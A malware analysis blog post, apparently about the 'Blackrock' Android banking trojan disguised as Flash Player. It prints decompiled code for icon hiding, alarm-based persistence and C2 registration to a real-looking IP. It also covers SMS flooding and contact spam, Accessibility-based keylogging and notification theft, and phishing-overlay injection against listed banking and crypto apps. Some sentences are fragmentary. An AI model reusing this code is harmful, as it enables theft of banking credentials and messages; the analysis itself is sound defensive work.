Application Details
Flash Player
Package : artwork.differ.kitchen
SHA256 Hash :
Introduction
Analysis
Lets open this sample in JADX to know how it works.
AndroidManifest.xml
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission-sdk-23 android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.QUICKBOOT_POWERON"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
As for the components , except for the Application Subclass , none of the component are available in the disk which means they must be loaded dynamically at runtime.
Lets check out the dynamic loading using .
Here is the list of scripts that can be used to check for Dumping and Loading of Dynamic Dex Code.
memory_dump/dump_dyndexmemory_dump/dump_dexcode_loading/load_class
We could see a file named wumso.json which is stored in /data/user/0/artwork.differ.kitchen/app_DynamicOptDex is loaded using DexClassLoader and we could also see classes like security.sword.AlarmBroadCastReceiver , security.sword.Permission is getting loaded.
Now that we got our DEX file , lets start our analysis from security.sword.MainActivity
MainActivity
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
b.a().a(this);
startService(new Intent(this, CommandService.class));
ComponentName componentName = new ComponentName(this,MainActivity.class);
PackageManager packageManager = getPackageManager();
getPackageManager();
packageManager.setComponentEnabledSetting(componentName, 2, 1);
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
}
a(Context c) , they are creating an PendingIntent for AlarmBroadcastReceiver and uses another helper method that uses AlarmManager to schedule the PendingIntent to be executed after a specified delay.
public class AlarmBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String name = getClass().getName();
Log.d(name, "time second : " + new Date().toString());
b.a().a(context);
if (!a(context, CommandService.class)) {
try {
context.startService(new Intent(context, CommandService.class));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
private boolean a(Context context, Class serviceClass) {
ActivityManager manager = (ActivityManager) context.getSystemService("activity");
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
CommandService is running or not. If not running , start that service.
Coming back to MainActivity,
CommandServiceis startedUsing
packageManager.setComponentEnabledSetting(``componentName, 2, 1);, they are hiding the app icon. (This is pretty common amongst Android Malwares to maintain persistence)
CommandService
onStartCommand()
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("Test", "Service: onStartCommand");
try {
this.f205b = this;
f();
return 1;
} catch (Exception e) {
e.printStackTrace();
return 1;
}
}
f initializes a Scheduler to execute Method c
void c() {
String Accessibility;
String screen;
try {
this.f204a.getClass();
security.sword.a.b("26kozQaKwRuNJ24t", this.f204a.f270a);
this.f204a.getClass();
security.sword.a decrypted = security.sword.a.a("26kozQaKwRuNJ24t", "MzVBOEU4RUExNzdDNTA3NzN2d4aaiU2eCF7zGpaxGnZoCUs4ByC63zVz9mHieQqu");
String.valueOf(decrypted).equals(this.f204a.f270a);
} catch (Exception e) {
e.printStackTrace();
}
try {
boolean accessibilityServiceEnabled = a(this.f205b, AccesService.class);
if (!accessibilityServiceEnabled) {
Accessibility = "0";
try {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new a());
} catch (Exception e2) {
e2.printStackTrace();
}
} else {
Accessibility = "1";
if (Build.VERSION.SDK_INT >= 23 && !d()) {
Intent as = new Intent(this.f205b, Permission.class);
as.addFlags(268468224);
this.f205b.startActivity(as);
}
}
String IMEI = Settings.Secure.getString(getContentResolver(), "android_id");
KeyguardManager km = (KeyguardManager) getSystemService("keyguard");
boolean locked = km.inKeyguardRestrictedInputMode();
if (locked) {
screen = "0";
} else {
screen = "1";
}
String whitelist = "0";
if (Build.VERSION.SDK_INT >= 23) {
PowerManager powerManager = (PowerManager) getSystemService("power");
boolean inWhiteList = powerManager.isIgnoringBatteryOptimizations(getPackageName());
whitelist = inWhiteList ? "1" : "0";
}
String model = a(this);
String Log = String.format("{ \"action\": \"reg\", \"params\": { \"imei\": \"%s\",\"whitelist\": \"%s\",\"model\": \"%s\",\"Accessibility\": \"%s\",\"screen\": \"%s\"}}", IMEI, whitelist, model, Accessibility, screen);
new b(Log).execute(1);
if (Build.VERSION.SDK_INT >= 21) {
e();
}
} catch (Exception e3) {
e3.printStackTrace();
}
}
Although the initial try-catch block was nothing useful, we need to take a note of class f204a
public class d {
String f270a = "http://185.215.113.90/";
String[] f271b = {"com.leumi.leumiwallet", "com.westernunion.moneytransferr3app.es", "com.ubercab.eats", "com.kraken.trade", [..REDACTED..]};
String[] f272c = {"org.telegram.messenger", "com.viber.voip", "com.whatsapp", "com.whatsapp.w4b", "com.twitter.android", [..REDACTED..]};
String[] d = {"com.kms.free", "com.drweb", "com.eset.endpoint", "com.eset.parental", "com.eset.stagefrightdetector", [..REDACTED..]};
}
Continuing with Method c of CommandService,
In the next try-block , it is checking whether Accessibility Service of this app has been enabled or not and based on that , code gets executed.
If not enabled , then it will request the user to enable it.
If enabled, then it will create an intent for
Permissionactivity and start it.
After that, the code collects information like IMEI , whether any sort of Lock screen is used by the device , List of apps whose package names matches the array f271b of class f204a we discussed little above. After adding these information in a formatted string, it gets passed to a class g that extends AsyncTask.
Lets first check doInBackground()
public String doInBackground(String... arg0) {
String Log = arg0[0];
try {
f277b.getClass();
a encrypted = a.b("26kozQaKwRuNJ24t", String.valueOf(Log));
String data = "data=" + encrypted.a();
String link = f277b.url + "gate.php";
URL url = new URL(link);
URLConnection conn = url.openConnection();
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
wr.write(data);
wr.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder sb = new StringBuilder();
while (true) {
String line = reader.readLine();
if (line != null) {
sb.append(line);
} else {
return sb.toString();
}
}
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
and the string that contained information of our device is being sent to the C2C server.
Looking into onPostExecute
public void onPostExecute(String result) {
super.onPostExecute(result);
if (result != null) {
try {
f275b.getClass();
a decrypted = a.a("26kozQaKwRuNJ24t", result);
JSONObject obj = new JSONObject(String.valueOf(decrypted.a()));
String action = obj.getString("action");
JSONObject params = obj.getJSONObject("params");
if (action.equals("Send_SMS")) {
try {
c.c(f274a, params);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("Flood_SMS")) {
try {
c.a(f274a, params);
} catch (Exception e2) {
e2.printStackTrace();
}
}
if (action.equals("Download_SMS")) {
try {
c.c(f274a);
} catch (Exception e3) {
e3.printStackTrace();
}
}
if (action.equals("Spam_on_contacts")) {
try {
c.d(f274a, params);
} catch (Exception e4) {
e4.printStackTrace();
}
}
if (action.equals("Change_SMS_Manager")) {
try {
c.b(f274a);
} catch (Exception e5) {
e5.printStackTrace();
}
}
if (action.equals("Run_App")) {
try {
c.b(f274a, params);
} catch (Exception e6) {
e6.printStackTrace();
}
}
if (action.equals("StartKeyLogs")) {
try {
c.f(f274a);
} catch (Exception e7) {
e7.printStackTrace();
}
}
if (action.equals("StopKeyLogs")) {
try {
c.i(f274a);
} catch (Exception e8) {
e8.printStackTrace();
}
}
if (action.equals("StartPush")) {
try {
c.g(f274a);
} catch (Exception e9) {
e9.printStackTrace();
}
}
if (action.equals("StopPush")) {
try {
c.j(f274a);
} catch (Exception e10) {
e10.printStackTrace();
}
}
if (action.equals("Hide_Screen_Lock")) {
try {
c.d(f274a);
} catch (Exception e11) {
e11.printStackTrace();
}
}
if (action.equals("Unlock_Hide_Screen")) {
try {
c.l(f274a);
} catch (Exception e12) {
e12.printStackTrace();
}
}
if (action.equals("Admin")) {
try {
c.a(f274a);
} catch (Exception e13) {
e13.printStackTrace();
}
}
if (action.equals("Profile")) {
try {
c.e(f274a);
} catch (Exception e14) {
e14.printStackTrace();
}
}
if (action.equals("Start_clean_Push")) {
try {
c.h(f274a);
} catch (Exception e15) {
e15.printStackTrace();
}
}
if (action.equals("Stop_clean_Push")) {
try {
c.k(f274a);
} catch (Exception e16) {
e16.printStackTrace();
}
}
} catch (Exception e17) {
e17.printStackTrace();
}
}
}
Send_SMS
For this command , the app receives phone number and text from a JSONObject sent by the server as show in line 37 and 38 respectively.
It then sends the message to the corresponding number using sms.sendMultipartTextMesage()
Flood_SMS
Works in the way Send_SMS works i.e receives Text content and Phone number from the JSONObject sent by the server and sends a message to that Phone number. But here it uses a SchedulerExecutorService
Download_SMS
In Line 104, we could see the code uses the system content provider content://sms .
Spam_on_contacts
In Line 190, they are querying ContactsContract.CommonDataKinds.Phone.CONTENT_URI URI and receive a cursor of it. Using the cursor, it is collecting the phone numbers in our contacts and sends a message using sendTextMessage()
Change_SMS_Manager
Checks whether this application is working as the default SMS Application. Here is the check.
boolean currentDefault = Telephony.Sms.getDefaultSmsPackage(this.f231a).equals(packageInfo.applicationInfo.packageName);
If not it starts an intent requesting the user to select this app as the default app.
StartKeyLogs
AccessService)
Initially, this command just creates file named StartKeyLogs.txt in /sdcard
StopKeyLogs
Performs by deleting the file StartKeyLogs.txt created for StartKeyLogs
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
filedel.delete();
Hide_Screen_Lock
AccessService analysis).
Just like StartKeyLogs , it creates Screen_Lock.txt in /sdcard
Unlock_Hide_Screen
Screen_Lock.txt file from /sdcard
Profile
Performs this by starting Systems activity.
In Systems
In Line 18 , they are first checking whether this application is registered as the profile owner for the user.
If not it calls function a
Start_clean_Push
AccessService ).
Initially, this command just creates file named StartCleanPush.txt in /sdcard
Stop_clean_Push
Performs by deleting the file StartCleanPush.txt created for Start_clean_Push
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartCleanPush.txt");
filedel.delete();
Run_App
try {
App = params.getString("App");
} catch (Exception e2) {
e2.printStackTrace();
}
try {
Intent i2 = context.getPackageManager().getLaunchIntentForPackage(App);
context.startActivity(i2);
} catch (Exception e3) {
e3.printStackTrace();
}
Starts the app whose package name is provided by the server
Admin
Admin activity.
try {
DevicePolicyManager mDPM = (DevicePolicyManager) getSystemService("device_policy");
ComponentName mDeviceAdmin = new ComponentName(this, Admins.class);
if (!mDPM.isAdminActive(mDeviceAdmin)) {
Intent intentt = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intentt.putExtra("android.app.extra.DEVICE_ADMIN", mDeviceAdmin);
intentt.putExtra("android.app.extra.ADD_EXPLANATION", "To update the version");
startActivity(intentt);
}
} catch (Exception e) {
}
android.app.action.ADD_DEVICE_ADMIN .
Now that we have looked at the commands , if we think back , assume we provided Accessibility service for this application it started Permission
Permission Activity
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (Build.VERSION.SDK_INT >= 23) {
g();
return;
}
try {
PackageManager pm = getPackageManager();
List packages = pm.getInstalledApplications(128);
for (ApplicationInfo pInfo : packages) {
String str1 = pInfo.packageName;
if (Arrays.asList(this.f217a.f269b).contains(str1)) {
new e(this).execute(pInfo.packageName);
}
}
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
g , they are asking permission for READ_EXTERNAL_STORAGE , EQUEST_IGNORE_BATTERY_OPTIMIZATIONS , READ_CONTACTS and much more.
If we look at the try-catch case , we could see they are running a loop to see whether package name is present in the list of predefined package names. If it matches then , AsyncTask e
public String doInBackground(String... arg0) {
String App = arg0[0];
try {
String PATH = this.f272b.getFilesDir().getAbsolutePath() + File.separator;
URL url = new URL(this.f271a.url + "public_image/" + App + ".zip");
HttpURLConnection c2 = (HttpURLConnection) url.openConnection();
c2.setRequestMethod("GET");
c2.connect();
FileOutputStream fos = this.f272b.openFileOutput(App + ".zip", 0);
InputStream is = c2.getInputStream();
byte[] buffer = new byte[16384];
while (true) {
int len1 = is.read(buffer);
if (len1 == -1) {
break;
}
fos.write(buffer, 0, len1);
}
fos.close();
is.close();
i.a(PATH + App + ".zip", PATH, "");
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
[http://185.215.113.90/<package_name>.zip](http://185.215.113.90/<package_name>.zip) and saves it in /data/user/0/artwork.differ.kitchen/files . Later this zip file is unzipped.
NOTE: At the time of writing this blog , the C2C server was down.
Now lets turn our attention to AccessService
AccessService
try {
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
String str1 = String.format("%s", event.getPackageName());
if (!settings.getBoolean("injActive", false)) {
File fs = new File(getFilesDir().getAbsolutePath() + File.separator + str1);
if (fs.exists() && fs.isDirectory()) {
Intent as = new Intent(this, Inject.class).putExtra("str", str1);
as.addFlags(268468224);
startActivity(as);
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
AccessibilityEvent , if its package name is part of the array f269b (which contains list of all Popular Banking Applications) , it creates an intent for Inject
@Override
protected void onStart() {
super.onStart();
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
String INJURL = getFilesDir().getAbsolutePath() + File.separator;
try {
this.f210a = new WebView(this);
this.f210a.getSettings().setJavaScriptEnabled(true);
this.f210a.setScrollBarStyle(0);
this.f210a.setWebChromeClient(new WebChromeClient());
this.f210a.addJavascriptInterface(new h(this, appName), "Android");
this.f210a.setWebViewClient(new a(this));
this.f210a.loadUrl("file:///" + INJURL + appName + "/index.html");
setContentView(this.f210a);
this.f210a.setWebViewClient(new b(appName));
} catch (Exception e) {
e.printStackTrace();
}
}
We could see that this activity has a webview which loads a HTML script from the Files directory of this app’s private directory and if we remember correctly this app downloads zip file from the C2C server and saves it in the same Files directory.
try {
File f3 = new File(Environment.getExternalStorageDirectory() + "/inj.txt");
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f270c).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings2 = PreferenceManager.getDefaultSharedPreferences(this);
String str12 = String.format("%s", event.getPackageName());
if (!settings2.getBoolean("injActive", false) && !f3.exists() && !f3.isFile()) {
Intent as2 = new Intent(this, InjectCC.class).putExtra("str", str12);
as2.addFlags(268468224);
startActivity(as2);
}
}
} catch (Exception e2) {
e2.printStackTrace();
}
f270c (This array contains package names of popular messaging applications). If found in this array, it creates an intent to InjectCC
@Override
protected void onStart() {
super.onStart();
SharedPreferences settings =PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
try {
this.f213a = new WebView(this);
this.f213a.getSettings().setJavaScriptEnabled(true);
this.f213a.setScrollBarStyle(0);
this.f213a.setWebChromeClient(new WebChromeClient());
this.f213a.setBackgroundColor(0);
this.f213a.setLayerType(1, null);
this.f213a.addJavascriptInterface(new h(this, appName), "Android");
this.f213a.setWebViewClient(new a(this));
this.f213a.loadUrl("file:///android_asset/android/index.html");
setContentView(this.f213a);
this.f213a.setWebViewClient(new b());
} catch (Exception e) {
e.printStackTrace();
}
}
[file:///android_asset/android/index.html](file:///android_asset/android/index.html) , the package name is being passed to the JavascriptInterface .
NOTE: Both Inject and InjectCC Webview uses same Javascript Interface class i.e Class h.
In class h , we have functions like sendDataToServer, sendDataToServers , send_log_injects that collects (phishing) information like Credit Card Number and others from the user and sends it to the server.
Commands like StartPush , StartKeyLogs and StartCleanPush uses Accessibility Services to perform their actions. Lets look at how they work.
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f11 = new File(Environment.getExternalStorageDirectory() + "/StartPush.txt");
if (f11.exists() && f11.isFile()) {
try {
String AndroidId = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
byte[] encrpt2 = new byte[0];
try {
encrpt = String.format("NOTIFICATION: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event)).getBytes("UTF-8");
} catch (UnsupportedEncodingException e3) {
e3.printStackTrace();
encrpt = encrpt2;
}
String base64 = Base64.encodeToString(encrpt, 2);
if (b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED")) {
String Log = String.format("{ \"action\": \"pushlog\", \"params\": { \"imei\": \"%s\", \"type\": \"pushlog\", \"text\": \"%s\" }}", AndroidId, base64);
new a(Log).execute(1);
}
}
return;
} catch (Exception e4) {
e4.printStackTrace();
}
}
StartPush.txt is present or not. This block code gets executed when an AccessibilityEvent of type TYPE_NOTIFICATION_STATE_CHANGED is generated. Then using function a it collects notification content and sends it to the server.
try {
File f32 = new File(Environment.getExternalStorageDirectory() + "/Screen_Lock.txt");
if (f32.exists() && f32.isFile()) {
performGlobalAction(2);
}
} catch (Exception e8) {
e8.printStackTrace();
}
performGlobalAction() Performs a global action. Such an action can be performed at any moment regardless of the current application or user location in that application.
Parameter Value ⇒ 2 denotes Action to go home.
Lets look at the code for security/sword/AccesService We’ll look at
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f7 = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
if (f7.exists() && f7.isFile()) {
try {
if (Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
String AndroidId2 = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
String Logs = String.format("KeyLogs: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event));
Log.v("AccesService", Logs);
byte[] encrpt3 = new byte[0];
try {
encrpt3 = Logs.getBytes("UTF-8");
} catch (UnsupportedEncodingException e10) {
e10.printStackTrace();
}
String base642 = Base64.encodeToString(encrpt3, 2);
String Log2 = String.format("{ \"action\": \"log\", \"params\": { \"imei\": \"%s\", \"type\": \"keylog\", \"text\": \"%s\" }}", AndroidId2, base642);
new b(Log2).execute(1);
}
return;
}
} catch (Exception e11) {
e11.printStackTrace();
}
}
When an application creates an AccessibilityEvent , if it belongs to list of targeted applications listed by array f269b , using event.getText() , it collects all text content present on the screen and exfiltrates the information to the server.
In short when we open a banking application for e.g Coinbase and if we perform some event like Long click , Selecting a text etc. it triggers our application. Then it finds the Coinbase application and steals content on the screen.
Targeted Apps
| App Name | Package Name |
|---|---|
| לאומי | com.leumi.leumiwallet |
| Western Union | com.westernunion.moneytransferr3app.es |
| Coinbase | org.toshi |
| Kraken | com.kraken.trade |
| Cryptopay | me.cryptopay.android |
| Santander Argentina | ar.com.santander.rio.mbanking |
| Coinbase: Buy Bitcoin & Ether | com.coinbase.android |
| myRAMS | au.com.rams.RAMS |
| BitPay – Secure Bitcoin Wallet | com.bitpay.wallet |
| Lloyds Bank Business Mobile Banking | com.lloydsbank.businessmobile |
| HSBC Mobile Banking | com.htsu.hsbcpersonalbanking |
| Garanti BBVA Cep Şifrematik | biz.mobinex.android.apps.cep_sifrematik |
| imo beta | com.imo.android.imoimbeta |
| Mercado Pago: cuenta digital | om.mercadopago.wallet |
| Kotak Mobile Banking App | com.msf.kbank.mobile |
| YONO Buisness | com.sbi.SBAnywhereCorporate |
| AU 0101 |
Conclusion
In conclusion, Blackrock’s covert maneuvers, exploiting accessibility settings and phishing tactics, pose a serious threat to mobile security. Unveiling its deceptive strategies sheds light on the importance of vigilant defenses. Dive into our detailed analysis to fortify your understanding and defenses against this sophisticated spyware. Stay informed, stay secure.
